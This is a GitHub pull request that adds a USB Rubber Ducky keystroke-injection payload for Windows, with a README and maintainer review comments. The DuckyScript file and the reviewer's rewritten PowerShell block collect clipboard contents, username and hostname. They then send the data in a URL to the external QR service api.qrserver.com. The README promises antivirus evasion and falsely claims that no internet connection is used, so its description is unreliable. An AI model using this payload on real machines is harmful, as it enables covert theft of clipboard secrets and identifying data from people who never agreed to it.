Skip to content

Add Airgap QR Exfiltration Payload #540

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 8 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from 3 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
21 changes: 21 additions & 0 deletions payloads/library/airgap-qr-exfil/LICENSE
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
MIT License

Copyright (c) 2025 pezzaliapp

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
52 changes: 52 additions & 0 deletions payloads/library/airgap-qr-exfil/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,52 @@
# Airgap QR Exfil – Rubber Ducky Payload

**Author:** Alessandro
**Device:** Hak5 USB Rubber Ducky (USB-C/A)
**Platform:** Windows
**Category:** Exfiltration / Airgap

## 🎯 Description

This payload exfiltrates clipboard data along with the current username, hostname, and timestamp via a QR code β€” **without requiring any internet connection from the target machine**.

It is designed for **air-gapped environments**, using PowerShell to generate a data string, encode it in Base64, and open a QR code in the browser. The attacker scans the QR code using a smartphone, decodes the data, and retrieves the sensitive information.

## βœ… Features

- No internet required on target machine
- Works on locked-down systems with PowerShell enabled
- Leaves no file on disk
- Avoids antivirus/network detection
- Perfect for Red Team or physical security audits

## 🧠 Data collected

- Clipboard contents
- Username
- Hostname
- Timestamp (YYYY-MM-DD HH:mm:ss)

## πŸ’» How it works

1. Reads data from clipboard and system
2. Constructs a single exfil string
3. Base64 encodes and URL-encodes the result
4. Opens a QR generator site with the encoded string
5. Attacker scans the QR and decodes the Base64 manually

## πŸ“· Optional improvements

- Save screenshot of desktop
- Offline QR code generation
- Loop-based clipboard sampling

## ⚠️ Disclaimer

This payload is intended for **educational and authorized use only**.
Do **not** deploy on systems without **explicit permission**.

## 🏁 Submission

To submit to the Hak5 Payload Awards:
- Fork or submit a PR to: https://github.com/hak5/usbrubberducky-payloads
- Or upload your repo and link it via: https://shop.hak5.org/pages/payload-awards
28 changes: 28 additions & 0 deletions payloads/library/airgap-qr-exfil/airgap_qr_exfil.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,28 @@
REM Payload: Airgap QR Exfil
REM Author: Alessandro
REM Description: Estrae dati locali e li mostra in QR code offline
DEFAULT_DELAY 300
DELAY 1000
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

If your target machine is windows, consider using the EXTENSION PASSIVE_WINDOWS_DETECT This allows the ducky to dynamically determine when the target machine is accepting keystrokes removing the need to have a long start delay.


GUI r
DELAY 300
STRING powershell
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

For instances where you are using, STRING and then immediately ENTER you can simply use STRINGLN This makes the payload smaller and more readable and keeps the original functionality.

For example,

STRINGLN POWERSHELL

Will function the same as

STRING Powershell
ENTER

ENTER
DELAY 800

STRING Add-Type -AssemblyName System.Web
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

If you are injecting powershell code, you can use a STRINGLN_POWERSHELL block, This cleans up the payload and makes it more readable, this also adds powershell syntax highlighting inside payload studio.

For example

STRINGLN_POWERSHELL
$clip = Get-Clipboard -Raw
$user = $env:USERNAME
$hostname = $env:COMPUTERNAME
$time = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
$data = "[$time][$user@$hostname] $clip"
$encoded = [System.Web.HttpUtility]::UrlEncode([Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($data)))
Start-Process chrome "--new-window https://api.qrserver.com/v1/create-qr-code/?size=400x400&data=$encoded"
END_STRINGLN

will function the same as you have it currently and make things cleaner and more readable.

ENTER
STRING $clip = Get-Clipboard -Raw
ENTER
STRING $user = $env:USERNAME
ENTER
STRING $hostname = $env:COMPUTERNAME
ENTER
STRING $time = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
ENTER
STRING $data = "[$time][$user@$hostname] $clip"
ENTER
STRING $encoded = [System.Web.HttpUtility]::UrlEncode([Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($data)))
ENTER
STRING Start-Process chrome "--new-window https://api.qrserver.com/v1/create-qr-code/?size=400x400&data=$encoded"
ENTER